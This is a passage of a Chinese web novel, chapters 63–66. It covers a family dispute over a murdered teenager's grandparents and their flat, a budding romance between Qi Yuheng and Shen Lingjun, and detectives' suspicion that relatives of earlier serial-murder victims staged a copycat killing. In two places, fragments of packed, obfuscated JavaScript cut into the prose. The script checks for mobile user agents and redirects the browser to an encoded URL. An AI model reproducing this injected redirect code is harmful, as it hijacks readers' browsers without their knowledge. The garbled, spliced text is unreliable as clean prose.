一进李长乐家的门,戚玉衡就注意到了沙发上的陌生男人。男人四仰八叉地倒在沙发上,浑身上下没有一点在他人家做客的拘谨。戚玉衡进门的时候,他掀起眼皮看了一眼戚玉衡 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察觉到他的不客气,李文博脸上的肌肉抖动了两下,但最终没发火:“戚老师这是哪的话?我和我妹这次来,就是想把我爸妈一块接回去的。以前长乐在这读书,他们二老在这陪着也没什么,但是现在长乐不在了,他们两个生活不能自理的老人,继续待在这有什么意义?他们待在这,不是给沈检添麻烦吗?” “没关系,灵均不怕麻烦。爷爷奶奶身体不好,容州医疗条件好,他们留在容州才更合适。” “诶呀,这是哪的话?安门也有大医院的呀!都是一样的!怎么好一直麻烦沈检呢?奉养父母,本来也就是我们这些做子女的本分嘛,爷爷奶奶现在这个样子,如果不把他们接到我身边,我其实也不放心。” 说着,李文博用手肘怼了怼身旁的妹妹:“是不是啊小悦?” 李文悦应和道:“是啊是啊,就是这个理。爸妈现在这个样子,光让保姆伺候,我放心不下。” 何秀红是温和敦厚的性子,但听到这个话,也是没忍住,语带讥讽:“咋,你们之前是痴呆了?到今天才想起来有爹妈?才开始放心不下?这么孝心,之前那十几年跑哪去了?” 俗话说人不要脸天下无敌,真是没错。即便被何秀红这么说,李文悦也是半点不心虚:“之前我们不来接爸妈,是因为我爸妈不愿意走,他们想留在这照顾他们大孙子啊。诶呀,我爸妈最疼的就是长乐,到长乐成年也没撒开手,这些年是管这管那,万事都以伺候他大孙子为先。但是现在这不是……欸,情况变了吗?那我们肯定不能不管啊。” 仅仅是看着他们两个人的脸,戚玉衡心里就在不断冒火。他不自觉地咬紧了牙关,说:“这些漂亮话,你们还是说给别人听吧。长乐和爷爷奶奶是怎么来容州的、他们在安门的日子又是怎么过的,我们都心知肚明。你说要接走爷爷奶奶,你问过爷爷奶奶的意见了吗?” 李文悦把胸脯一挺:“怎么没问过?”李文悦得意地看着何秀红和戚玉衡:“我爸现在不明事了,一切都听我妈的,我妈愿意和我们走啊,不信你们来问我妈。” 戚玉衡下意识地看了何秀红一眼,两人眼神都颇为惊疑。 二人跟着李文悦走进卧室,看着李文悦问许三妹道:“妈,你愿不愿意跟我和二哥走啊?” 许三妹斜着眼看向戚何二人,浑浊的眼睛缓慢地眨动着,良久,她缓缓点了点头。 李文悦摊开手:“你看,你们都看着了吧?我妈想跟她儿子闺女走呢。” 说着,李文悦朝房间里的另一个女人道:“二嫂,咱俩收拾收拾东西,准备带爸妈走吧。” 63.第 63 章 看着两个女人在房间里旁若无人地翻翻捡捡起来,何秀红把戚玉衡拉出了房间:“小戚,咋办?就这么让他们把爷爷奶奶带走吗?他们要是把人带走了,再想把人接出来估计就难了!那等爷爷奶奶都走了,沈检这房子可就真得落这俩没良心的人手里了!” 戚玉衡还没缓过神,有些语无伦次:“……奶奶,奶奶她怎么会同意跟他们走呢?!” 何秀红脸上的神情变得有点复杂:“唉,我……唉,小戚,这天底下的父母,有几个不疼自己娃的?今天被孩子伤了心,但隔天就忘了。你子睿哥干了那么混账的事,我也怨他、我也生气,但、但我现在还不是要管他?” 说着,何秀红又拿出手机,嘴里念叨着:“我得再给沈检打个电话。” 戚玉衡想了想,也拨了个电话。 何秀红打个电话的功夫,李文博就背着李斌出来了。李文悦则招呼她老公:“去,你去把妈背出来。” 戚玉衡挡在他们身前,道:“你们就这么着急走?就算奶奶愿意跟你们回去,于情于理,你们都该和灵均打个招呼吧?” 李文悦道:“嗐,到时候我们电话和他说。老弟,你瞧现在都几点了,要是再晚点走,那真是一点亮都没有了,我们得开夜车回去。你姐夫他刚拿本没多长时间,开车技术不行,开夜车我不放心。” “那你们就在这附近住一晚,明天再走吧。” 李文悦做出为难的神情:“老弟啊,我们四个人,住酒店不得开两个房间?你们容州的酒店真的是太贵了,那一个晚上就五六百块了。我们也就是普通小老百姓,我和你姐夫一个月工资加在一块也就万八千,多余的钱当然是能不花就不花。” 戚玉衡冷笑一声:“没关系,这个钱我给你出。你们不舍得花钱,倒是舍得脸面。” 李文悦慢慢把脸上的笑意敛了下去:“……老弟,你到底什么意思啊?你是什么人啊,我们家的事,什么时候轮得到你管了?我接我自己爹妈回家养老,天经地义!你凭什么拦我们!” “是,你可以把两位老人接回去,”戚玉衡看着李文博背上的许三妹,硬下心肠道:“但在此之前,奶奶得跟灵均签合同,把这房子还给灵均。” 李文悦听了这话,立刻瞪大眼睛:“什么?凭什么?这是我妈的房子!” “凭这是当年灵均买的房子。当年灵均买这个房子是给长乐和爷爷奶奶住的,现在长乐不在了,爷爷奶奶也要回安门了,这房子留着也没用,自然要还给灵均了。” 李文博喊道:“房子是他买的没错,但是房本上白纸黑字写得是我爸妈的名字,这是他送我爸妈的房子,凭什么要还给他?哪有送人东西还要收回去的道理!我哥当年为了救他丢了命,要他一套房子怎么了?他沈灵均的命难不成值不了一套房子?” “图穷匕见了是吧?”戚玉衡看着许三妹:“奶奶,我不信您心里不明白,您的好儿子好女儿,急吼吼地要把您接回去是为了什么!您忘了吗?你们当年是怎么来到容州的。是您的好儿子家暴,对父母、对十岁的侄子拳打脚踢,而您的好女儿袖手旁观,任由你们祖孙流落街头。” “八年的时间,他们对你们不闻不问,如今倒是来做孝子孝女了,”戚玉衡感觉胸口里塞着一座即将爆发的火山,山口溢出的岩浆灼得他心口发疼:“长乐突遭横祸、尸骨未寒,他们做叔叔的、做姑姑的,不惦记着为他伸冤、不操心他的身后事,反而满心都是利益,满眼都是算计!” “这样的儿子,这样的女儿,您敢和他们一起回家吗?我真怕您和爷爷前脚回到家,后脚就因病逝世了!” 李文博兄妹听到这话,也再装不出客气的模样了。李文悦指着戚玉衡的鼻子骂道:“你他妈在这说什么呢?我们难不成还会害我们自己爹妈不成?!” 戚玉衡一把打开她的手:“你们害得还少吗?!十四年前,灵均给了你们家一百五十万!那是给你们大哥家人的钱!你们心中但凡有一点手足之情,都不该打这笔钱的主意!但你们呢?你们反反复复地朝爷爷奶奶讨要,恨不得把他们敲骨吸髓,把你们大哥的尸体都吃干抹净!你们但凡有一点良心,也不会让你们的父母、侄子在冬日里无家可归!” “现在,你们的侄子死了……被人杀了。被人用非常残忍、残忍到发指的手段杀了……他才十八岁。他马上就能考大学,”戚玉衡用手抹了抹眼睛,“他有喜欢的女孩……他有大好的前途……他是你们的亲生侄子,是你们的亲人!你们的眼里却只有这套房子。这套本不该属于你们的房子!” 或许是戚玉衡的话戳中了她的伤心事,许三妹嘴里发出含糊的声音,呜呜地哭着。 “奶奶,这些年,灵均为你们一家做了多少,想必不用我一一去说。你我都心知肚明,灵均帮你们是情分,不帮也是本分。你想为你自己的儿女谋算,也要看他们值不值得。长乐现在不在了,是谁在为他的案子操心,是谁在为他四处奔走,谁对长乐有真情,谁对长乐是假意,您是长辈,您阅历丰富,您比我见过的人多,我不信您看不清楚。” 许三妹哭得更厉害了。 估计是看母亲态度有所动摇,李文悦有些急了,冲上来挠戚玉衡:“你算是哪根葱啊!在这放屁!” 李文悦力气不大,戚玉衡很快就把她甩到一边。看妻子落入下风,李文悦的老公立刻冲上来帮忙,一脚往戚玉衡的肚子踢去。戚玉衡往后退了一步,一脚踹了回去——他腿长,一脚就把李文悦的老公踹到了地上。 趁着他们撕打的功夫,李文博跟做贼一样,背着许三妹就往门外跑。何秀红见状,一把拉住他的胳膊,李文博的妻子则揪住何秀红的头发,想把她从李文博身上拉开。一时间,屋里乱成一团。 这个时候,有人在外面拍门:“有人在吗?警察!屋里什么情况!” 听到这声音,李文博四人短暂地愣怔了一下,戚玉衡一拳把再次冲过来的李文悦的丈夫揍到一边,回身开了门。 出警的二位民警中,有一位戚玉衡认识,他姓陈,长乐失踪、他和沈灵均去派出所报案的时候,就是他接的警。 这位陈警官显然对他还有印象,挑了挑眉:“你是那个……你报的警?有人擅闯民宅,赶也赶不走?” 李文悦听了这话,立刻挤到戚玉衡身前:“警察同志,他胡说!这是我妈的房子,我来我妈家,算什么擅闯民宅!” 戚玉衡没正面回答警察的问题:“他们打人。” 何秀红连忙附和道:“对啊,他们打人!”她指着李文博的妻子:“她把我头发都扯掉了!” 李文悦扯着嗓子,尖声假哭道:“冤枉啊,警察同志,我冤枉啊,我们才是挨打的人呀,你看看我老公,身上那么大一个脚印呢!一会估计脸上也得肿了!” “行了行了,”陈警官道,“有什么事到我们所里再说吧。” “去派出所……”李文悦脸色一变:“我,我,不是,警察同志,我们家老头老太太都瘫了,离不开人啊!我们……这样,我们不计较他打我们的事了!我们现在就想带着我爸妈回家!” 戚玉衡立刻道:“是你们先动手的。你不计较,我还要计较呢!” 看李文悦还想说话反驳,陈警官抬起手:“好了。我看你们一时半会也解决不了矛盾,我找同事来照顾你爸你妈,你们,都跟我们去派出所。” 李文悦悻悻然的闭了嘴,转过头狠狠地瞪了戚玉衡一眼。 到了派出所,李文博兄妹添油加醋地把事情说了一遍,在叙述的过程中,两个人是越说底气越足,越说情感越丰沛,一点都不心虚。 “……警察同志,你来评评理,我和我妹一片孝心,想接我老爹老妈回家养老,这个人,和我们非亲非故,就拦着我们不让走。甚至还对我们动手!真该把这个流氓抓起来。” 陈警官左手往下压了压:“行行行,好好好,你们 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但看着沈灵均对他露出的笑容,戚玉衡的担忧在顷刻间烟消云散了。 等沈灵均转向李文博二人时,他脸上的笑意已经消失了。他冷冷道:“我刚才回家看了奶奶,奶奶跟我表示,她不愿意跟你们回去。” 李文博愣了一下,随后怒道:“你什么意思?我妈刚才还同意跟我们回去呢!我老婆、我妹子妹夫都看着了,我妈是点了头的。你是不是威胁我妈了?你跟我妈说什么了?!” 沈灵均打开手机:“你可以跟奶奶视频。我刚才回去的时候,警察同志还在场呢,我能怎么威胁奶奶?” 随后,李文博跟许三妹通了个视频电话,许三妹表示不愿意跟他们一起回去。李文博兄妹不死心,还想继续游说,但许三妹闭上了眼睛,一副拒绝沟通的模样。最终,陈警官看不下去,制止道:“行了,你差不多得了。老太太既然不愿意跟你走,你就尊重她的意见吧。” 沈灵均一把把自己的手机抢了回来:“当然,你们要是想尽孝心,愿意留在这照顾爷爷奶奶,我也非常欢迎。” 李文博脸部的肌肉动了动,似乎是想扯出一个笑,但失败了,看上去有些滑稽。 陈警官又道:“至于你们打架的事,你们调解不调解?我看你们谁也没受什么大伤,要不就握手言和算了。” 戚玉衡率先道:“我没问题。” 李文悦还想再说什么,但是被李文博拦住了,李文博朝陈警官陪着笑脸:“……我们也没问题。” 离开派出所后,沈灵均叫住了李文博。 戚玉衡觉得,李文博似乎是有些怕沈灵均。在他面前那股子蛮横劲全被收了起来,他这会看起来甚至有些畏缩。 沈灵均语气淡淡,但说出来的话攻击性却颇强:“你们也是真够不要脸的。我曾经怀疑,你们两个是爷爷奶奶抱养过来的,不然怎么会和李大哥、长乐性格完全相反,好吃懒做、见利忘义……一肚子的贼心烂肺。” 李文悦气得脸都红了,但是在李文博的眼神暗示下,她最终忍着没有发作。 “我劝你们少动歪心思,适可而止。长乐还在时,你们是长乐的叔叔、姑姑,有些事我不好做得太难看。但现在长乐不在了……我最近心情不好,你们最好别在这个时候触我的霉头。” 李文博喏喏地应着声,李文悦则梗着脖子不说话。 “还有,”沈灵均把戚玉衡和何秀红拉到身边,“给我朋友和我家阿姨道歉。” 李文悦瞪着眼睛:“凭什么啊!”她指着戚玉衡:“他打我老公的的事我还没找他算账,”李文悦把她丈夫拉到身边:“你看我老公这脸,还有他身上的鞋印……” 李文博又拉了她一把,脸上挂着有些勉强的笑:“对不住对不住……那既然妈不愿意跟我们走,我们就先走了……先走了。” 64.第 64 章 等李文博几人彻底消失在了视线里,沈灵均转过头,有些歉意地看向身边的何秀红和戚玉衡:“抱歉,我今天下午有庭,手机静音了,没接到何姨你的电话。你们是不是吓坏了?” 何秀红拉住戚玉衡的胳膊:“得亏小戚来了,不然我一个人对着他们,心里是有些犯怵……”说着,何秀红脸上露出了一个厌恶的表情:“长乐那么好的孩子,长乐爸爸那么好的人,怎么会有这么两门亲戚?” 何秀红撇撇嘴,声音放轻了一些:“还有老太太……以前我娘说,庄稼佬,偏老小,我还不信,现在一看,这话真是没错。长乐刚没,她就为二儿子小闺女打算了。要是这两个人是好的,也情有可原……但这两个人是什么人呀!两个流氓呀!一个比一个不是东西!沈检,你可得想想辙,不能让这两个没良心的流氓继承老两口的房子!” 戚玉衡也在一旁点头:“要是让那两个人拿走房子,我能被一口气沤死!” 戚玉衡是很软和的性子,认识戚玉衡这么久,沈灵均还是第一次听他用这么不忿的语气说话。沈灵均点点头,道:“嗯,我不会的。现在长乐刚走……我打算等过一段时间就去找奶奶谈,让她把房子过户给我。” 何秀红仍有些不放心:“沈检,我多句嘴啊。这事你得早办,话说得难听一些,老太太年纪大了,身体又不好,说不定什么时候就有个万一。老太太脑子出过毛病,要是哪一天突然没了神志,你还没把房子要回来,老爷子又那样……房子的事可就扯不清楚了!那兄妹俩可不是什么省油的灯,”何秀红说着说着又有些不好意思,“诶呀,我说这些干什么,沈检你懂法,你是高材生,你肯定比我明白。” 听何秀红话里话外都是为自己打算,沈灵均心头一暖,摇摇头:“何姨想得比我周全。这话我记住了。” 回到长乐家,沈灵均问何秀红要了一瓶碘伏,朝戚玉衡示意道:“玉衡,你的手破了。是李文悦挠的?” “……嗯。” 沈灵均把戚玉衡的手放到自己的膝盖上,用棉签给他上药:“十几年前我第一次见她的时候,就觉得她满肚子算计,惦记着李大哥的赔偿。但……”沈灵均看了一眼卧室的方向:“钱是给老爷子老太太的,我不好干涉人家的分配。后来,李文博把长乐他们三个赶出来,老两口也去求过这三姑娘,但是她说家里有两个孩子,根本没地让他们住,给了老两口五百块钱让他们去租房子。” “虽说也不是多有孝心的人,但比起李文博,人家至少还掏了五百不是?没想到,十几年过去,越发没人样了。钱这东西,真是这世界上最神奇的魔法。活死人、肉白骨、变人心、改头换面、改天换地……真是什么都能做。” 给戚玉衡抹完药,沈灵均注意到,戚玉衡有好几根手指都红红的,他下意识地用手碰了一下:“这是……” 戚玉衡好像被他吓了一跳,立刻把手从他膝头抽走了。 “……肿了吗?” “不是,就是冻疮,不严重的。” “真的不严重吗?” 戚玉衡把两只手握在一起:“真、真的……不疼也不痒,就是有些泛红。” 沈灵均注意到,戚玉衡的脸又红了起来,像是一只青涩的、白里透红的水蜜桃。 沈灵均下意识地移开眼神,拇指和食指来回搓了搓:“我还以为你是打人把手打肿了呢,”想起李文悦老公的样子,沈灵均有些想笑:“李文悦他老公左半边脸肿了一圈,估计得有个三五天不能见人……我还真想象不出来你打人的样子。我很难把你和打架这件事联想起来。” 戚玉衡有些不好意思:“谁叫他们欺人太甚,急吼吼地来霸占长乐的遗产。我……我上高中的时候打过好几次架呢。” 沈灵均有些意外:“真的?你?为什么?” “都是乔瑜连累的我。第一次打架,是他在学校附近的小巷子偶遇了小混混的勒索现场,他出手制止,遭到对方嫉恨。几天之后,那些小混混在下晚自习后来堵他,和他一起走的我成了被殃及的池鱼。” “乔瑜是体育特长生,打篮球很厉害,代表过实验中学拿过全国高中联赛景南赛区的亚军。高二的时候,实验中学和七中比赛,他犯了几次规,对方的一个球员怀疑他是故意犯规,两个人产生了一些口角。完赛之后,七中输了,那个球员气不过,约他去比1on1。我陪他去比了,两个人比着比着就吵起来了,然后就……打起来了。我和那人的朋友本来都是去拉架的,但是拉着拉着,身不由己,也被卷进去了。” 虽然戚玉衡是用略带埋怨的口气提起这些往事,但沈灵均分辨得出,这些事都是他颇为珍贵的回忆,在讲述的过程中,他的眼睛里会闪动着跃然的神采。 “高二下学期的时候,他谈了个女朋友。那女孩很漂亮,是校花级别的,当时学校里有好几个人都在追求她,但是她最后和乔瑜在一起了。可她的一个追求者还是不死心,天天纠缠那个女同学,被乔瑜警告了两次。那个追求者家境很好,平日在校园里横行霸道惯了,自然受不了这种气,就准备给乔瑜点颜色看看……于是我就又跟着他打了一架。” 沈灵均有些意外:他认识乔瑜也有五、六年了,这些年间,乔瑜一直给他一种强烈的冷淡、疏离感。是在和余绵绵谈了恋爱后,乔瑜才对他多了几分热络。他以为乔瑜是天性如此,没想到乔瑜年少时竟还是个火爆脾气。 大概是因为巨大的家庭变故,他才会有如此大的性格转变。 戚玉衡显然也是想到了那件不愉快的事,讲着讲着,他的情绪慢慢变得低落起来。 沈灵均于是道:“你饿了吗?我有点饿了,我们出去吃饭吧。” 戚玉衡立刻应道:“好啊。” “去吃上次我们吃过的那家大排档好不好?” “好呀。” 吃过晚饭,推开大排档的门,沈灵均就被迎面的寒风吹得打了一个冷颤。以前他每天出门前都会看一眼天气预报,根据天气搭衣服。但自从长乐死后,除了工作,他所有的精力都放在了长乐的案子上,在穿衣上也草率了许多,看到哪件穿哪件。今天晚间的气温已经降到了零度以下,但他只穿了一件很轻薄的大衣。 这时,戚玉衡叫住了他,把自己的围巾解了下来:“沈检,你今天没开车,又穿得薄,这离地铁还有一段路呢,你系我的围巾吧。” 沈灵均下意识地推拒:“不行,我……” 但戚玉衡已经开始动手给他围围巾了。他冰凉的手指在不经意间轻轻划过他的后颈,激起他更深的颤栗。沈灵均也不知道自己是怎么回事,居然没有再拒绝,反而顺着戚玉衡的力道微微低下了头。 随着戚玉衡呼吸产生的白雾氤氲在他眼前,像是层淡色的薄纱,模糊了他的视野。沈灵均的视线中心一时间只剩下戚玉衡削尖的下巴和苍白的嘴唇——戚玉衡的唇形生得很漂亮,上唇还有个很饱满的唇珠。 沈灵均没头没脑地想:戚玉衡的嘴唇亲起来一定会很舒服。 颈间传来轻微的收紧感,是戚玉衡将围巾打好了结。沈灵均也回过神来——想什么乱七八糟的呢?他的思维也真是够跳跃的。 沈灵均的手摸上围巾:“我真的不用,你也要走回家……” 戚玉衡笑了笑:“这离我家很近的,三四分钟就到了,而且我穿得比你厚。我都穿上棉服了。” 的确。但他身上的那件棉服明显已经很旧了,棉服上的胶印字母已经掉了大半,看上去轻飘飘的,沈灵均觉得它还没自己身上的大衣扛风。 戚玉衡做出一个有些失落的表情:“你是不是嫌弃这是我的旧围巾啊?” 沈灵均忙道:“没有。” 戚玉衡轻轻拉了一下围巾上的流苏:“那你就围着吧,多少能暖和一些。最近降温了很多,你要注意增添衣物。” “……好。谢谢,围巾我下次还你。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114318|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈灵均没走出两步,戚玉衡就再一次叫住了他。 他追了上来:“还有,沈检你要保重身体,一定要按时吃饭……像今天晚上一样。要是怕自己忙忘了,你可以定一个闹钟……” 沈灵均感觉戚玉衡简直是在把自己当孩子嘱咐,一边觉得哭笑不得,一边又觉得有些温暖。他点头应道:“……我会的。” “有什么需要我帮忙的,随时提。” “记住了。” 走出几十步后,沈灵均突然想到:他和戚玉衡认识也快两个月了,两个人之间的关系越来越亲密,他对戚玉衡的称呼也从叫姓氏变成了叫名字。但戚玉衡好像一直在叫他“沈检”。 虽然这的确是他在日常生活中最常被叫起的称呼,但……这称不上是一个亲密的称呼。就拿陈彦博来说吧,他只有在开玩笑、嘲讽他、生气这三种情况下会这么称呼他。 想到这,沈灵均也不知道自己出于什么心思,回过头往大排档的方向看了一眼。出乎他意料的是,戚玉衡还站在大排档门口。尽管因为距离太远,戚玉衡的身影已经在他眼中坍缩成一个模糊的点,但是沈灵均确定,那就是戚玉衡。 戚玉衡似乎也一直在关注他的动向,在沈灵均回头后,那个模糊的点头上长出了细长的一条——应该是戚玉衡在朝他挥手。 沈灵均连忙也朝他的方向挥了挥手。 什么时候,朝他提一嘴,让他叫我的名字吧。沈灵均想。 沈灵均转回身,缩了缩下巴,将小半张脸埋进围巾里。 大概是因为常年在烘焙间工作,戚玉衡身上一直有一种很特别的气味——那是一种很“面包房”的香味。混杂着奶香、麦香、椰香,与砂糖的甜味。很好闻,给人一种温暖、治愈之感。 这条围巾上也有这种气味。沈灵均轻轻地嗅了嗅,心想:确实暖和多了。 今天沈灵均运气还不错,竟然在晚高峰的地铁上见缝插针地找到了一个空座。坐下后,沈灵均打开手机,开始浏览各个社交平台上有关长乐案子的信息。 看了一会,一个微博博主发的照片吸引了他的注意力。这个博主是个营销号,也不知道是从什么渠道搞来了3.18案八位被害人的照片,加上一张空白图片凑了个九宫格,配文道:“这么多优秀的孩子,都被丧心病狂的凶手杀了[蜡烛][蜡烛][蜡烛],现在他居然又出现了,警方这一次能够发挥他们应有的作用吗?” 引起沈灵均注意的是这条博文的第二张图片——3.18案第二位被害人邱飞剑的图片。这张照片沈灵均之前从未在网上看到过,照片里的邱飞剑手里捧着一张“市优秀学生”的奖状,身旁还站着一个中年女人,女人搂着他的肩膀,头偏向他的方向,明显和他关系亲密。二人眉眼间有些相似,再考虑到两人的年龄差以及邱飞剑的身世,这女人大概率是邱飞剑的母亲。 而沈灵均之所以会注意这张照片,是因为他总觉得照片里的女人有些眼熟。 但沈灵均梳理了一遍自己的记忆,却怎么也想不起来这女人的相关信息。 难道,是他最近看了太多次邱飞剑的照片,所以看到与邱飞剑有些相像的女人就觉得面熟了? 沈灵均想了很久也没想出个结果。他退出微博,随手点开了微信朋友圈,朋友圈的第一条是孙一涵在晒娃。沈灵均看了一会娃,脑海里忽然灵光一闪——他想起来他是在哪里见过这女人了。 严格来说,他没在现实世界里见过她,只是通过视频的方式看过她一眼——应该是在四个多月前的一天,他妈徐女士给孙一涵打电话,想要见见她的小外孙。大福当时不在孙一涵身边,而是由孙一涵家的家政阿姨在带。孙一涵开着手机后置逗了一会大福,才从家政阿姨怀里接过了大福。 当时,那个家政阿姨的脸也短暂地出现在了孙一涵的镜头当中。尽管她要比照片里的女人老不少,但是沈灵均觉得,二者之间至少有七分相像。 65.第 65 章 这天早上,乔瑜到学校的时候戚玉衡还没来。 乔瑜心里觉得奇怪,问付雨萌道:“玉衡怎么还没来?他从来不迟到的呀。” 付雨萌用一种奇怪的眼神打量了他一番,随后露出一个比哭还难看的笑:“乔瑜,你傻了啊?” “玉玉不是……不是被人杀了吗?” 乔瑜怀疑自己耳朵出问题了:“什么?!” “就是那个连环杀手啊!专挑优等生杀的那个杀手。他把玉玉杀了呀!” 乔瑜一下子从梦中惊醒,直起腰来。 这什么乱七八糟的梦?3.18案凶手频繁活动时,他和戚玉衡还在读初中……不过,高中时的戚玉衡确实很符合3.18凶手筛选目标的偏好。应该是最近在查案、再加上见了几次戚玉衡的缘故,他才会做这种梦。 乔瑜听到邓宇星说:“你们发现没,这几个男生长得都蛮好看的,喏,邱飞剑、邵恒、高恒、蒋济同,是硬朗帅气的小帅哥,剩下的这几个,都是那种清清秀秀的小帅哥,没一个长得丑的。我承认我是刻板印象啊,但我总觉得,学霸一般长得都不好看。我读书那会,我班级里那几个学习好的同学都是相貌平平,一般还会再戴个眼镜。老天都是公平的吗,给了他们好脑子、爱学习的品质,要是再给如花的面孔,这也太超标了。” 陶箐道:“邓哥,现在时代变了,小红书上一堆俊男美女学霸。远的咱们看不到,沈检咱们还没见过吗?长得比明星还明星。诶,但咱们这个案子的受害人,长乐,他长得好像……只能算一般般吧?还是这是我审美的问题?” “嘿,这也是我想说的,你们说,3.18案的凶手有没有把相貌也算作筛选目标的条件啊?李长乐顶多只能算是有点可爱……” 乔瑜感觉脑子还是昏昏沉沉的,他站起身,打算去洗浴间冲个战斗澡清醒清醒。 他刚走到门口,就见前方接待室的门开了,程时新亲自将几位3.18案的被害人家属送了出来。 今天只来了四五位家属,其中有第一位被害人卢川的父亲。乔瑜对他印象很深刻——人都是视觉动物,而卢父称得上是一位老帅哥。 乔瑜记得,他是…… 这个时候,薛青霜从他身边挤了过去:“干嘛?直挺挺堵在门口。” 薛青霜走了两步,就被乔瑜一把拽了回来。 “我去,你干嘛?吓我一跳。你干嘛啊,我要去上厕所!” 乔瑜低声道:“你之前说,卢川爸爸是个医生?” “是啊,是怡和医院的麻醉科主任……” 薛青霜止住了话音:“……你什么意思?你……你不会是怀疑他吧?怎么可能?你是不是查案查魔怔了。” “怎么不可能?” “从现有的线索上看,杀害李长乐的凶手和3.18案的凶手大概率不是一个人。但我们一直搞不明白的是,本案的凶手为什么要模仿3.18案的手法杀人,这个凶手又是怎么得知3.18案的细节的。但如果是这样的话,一切问题都迎刃而解了。卢父是3.18案被害人的家属,自然知道凶手的手法,他模仿3.18案的手法杀人,是因为他想把这桩旧案翻出来。” “你看现在的网上,真真假假的消息满天飞,到处都有人在讨论这件事。十几年前还不是信息化时代,3.18案虽说也很有些名气,但到底没有在人群中形成规模化的传播。可因为这个案子,这几天下来,全国百分之五十的网民都知道这件事了。容州更是把全市大部分的警力都投入到了这桩案子上,很多警察都提出要重启对3.18旧案的侦查……原本已经消失在公众视野的3.18案,一下子就成为了世人关注的焦点。他有动机的!十几年了,他儿子的案子还没破,他肯定很不甘心!” 薛青霜张开口,似乎还想反驳,但她脑海中忽然灵光一闪,让她把本来想说的话咽了回去。她抬手摸着眉毛:“不是……这算什么动……你等一等,等一等,我想想……” 薛青霜一时间也顾不上她不堪重负的膀胱了,她回到办公室,问邓宇星道:“邓队,我记得对镇医院附近进行大摸排的时候,有个辅警探组说,他们碰见3.18案第三位被害人孔令杰的父母了。” 乔瑜皱起眉:“孔令杰的父母为什么会住在晋安镇?他们一家之前不是住在市区吗?” 邓宇星面上有些茫然,但还是答道:“他们是半年多前搬过去的,两夫妻在晋安镇包了片地开养鸡场。” 乔瑜有些疑惑:“他们家不是经济很困难吗?怎么会有钱包地开养鸡场?” 一旁的瞿春光道:“这个我知道。3.18案的八位被害人中,除了第八位受害人高广平,剩下七位被害人都是独生子。七个独生子被害,这世上多了七个失独家庭。相同的际遇拉近了被害人家属的距离,他们彼此之间关系都很好。第五位被害人蒋济同的父亲在他出事半年之后跳江自杀了,而蒋济同的母亲接受不了接二连三的悲剧,在丰山寺削发为尼,出家了,再不问世事。但蒋济同的爷爷蒋缙一直没放下孙子的事,和其他被害人家属联系得很紧密。” “后来,孔令杰的父母孔鹏和吴莉莉就跟蒋缙住到一起去了,三个人报团取暖,俨然是一家三口了。蒋缙早些年做过生意,很有些家底,儿子孙子没了,儿媳和他断亲了,他的钱于是全给了孔鹏和吴莉莉。孔鹏和吴莉莉有了本钱,也开始做生意,搞养殖。这些年间,已经开了一家猪场一家鸡场了……” 瞿春光看着乔瑜和薛青霜发青的面色:“你们俩这什么表情?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124581|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乔瑜缓缓道:“我怀疑,卢川的父亲很可能伙同孔鹏夫妻,杀了李长乐。” 瞿春光听了他的话,没有立刻表态,而是开始下意识地掰自己手指的骨节——这是他思考时的一个习惯。 瞿春光沉默了一会,道:“左右现在也没什么别的思路……老邓,你去确认一下他们名下的车辆,然后把车辆的照片拿给瑞原村的村民,看看村民们有没有见过。乔瑜,你去调查卢江峰家、他工作的医院附近的监控,找出他在案发当天的活动轨迹……” 就在这时,技术支队的副队长王燕妮给瞿春光打了个电话,说她这边有了些发现。 瞿春光几人立刻赶到了技术支队的办公室。看他们来了,王燕妮朝他们招招手,指向自己的电脑屏幕,道:“我们技术部门的人员最近一直在搭建一个算法,想让人脸识别技术能在辅助侦查的时候发挥更大的作用。就是将深度可分离卷积算法……” 瞿春光心中急切,催促道:“燕姐,我们听不懂的部分全都可以省略。” “好好好,总之,我们试图搭建一个算法模型,以最大限度地实现遮挡人脸识别。同时,这个模型还可以根据采集到的人脸点数据进行高精度的三维重建,能帮助我们更好地比对当事人的身份。我们把近一个月李长乐上下学路段、上下学时段的监控都打包放模型里跑了,最后筛选出了七个曾在整个路段中所有摄像头中入镜、并在多天入镜的人。七人中有三个穿校服的学生,其中有两个学生经常和固定的两个成人走在一块,这两个成人应该是他们的家长。但还有两个人身份不明,挺可疑的。” 七个人的影像依次出现在瞿春光三人的眼前。身份不明的两个人分别为一男一女,看到男人图像的那一刻,乔瑜忍不住无声地长出一口气。在过去一个月中,男人在一共出现了六次,有两次带了帽子,有两次带了口罩,也有两次脸上什么都没有带。 那赫然是卢江峰的脸。 而那个女人,经过瞿春光的辨认,是孔令杰的母亲吴莉莉。 乔瑜看向瞿春光:“瞿哥,我们……?” 瞿春光沉默了半晌,道:“先把3.18案八位被害人家属现在的住址确定好,除了卢江峰和吴莉莉夫妻,其他的人也要派人盯着。参与作案的真的只有卢江峰和吴莉莉夫妻吗?我们还不确定。以现有的证据,检方肯定不会批逮捕令,先拘传吧。等天黑了,我们去把卢江峰和吴莉莉夫妻带回来。” 晚上六点多,瞿春光带着乔瑜等人把卢江峰拘了回来。卢江峰对他们的到来毫不意外,十分配合,像是对这个局面早有预料。这个态度,已经很能说明问题了。 与此同时,邓宇星也带着人来到了孔鹏吴莉莉家,他们在二人家的次卧发现了失踪的方滢一家三口。 66.第 66 章 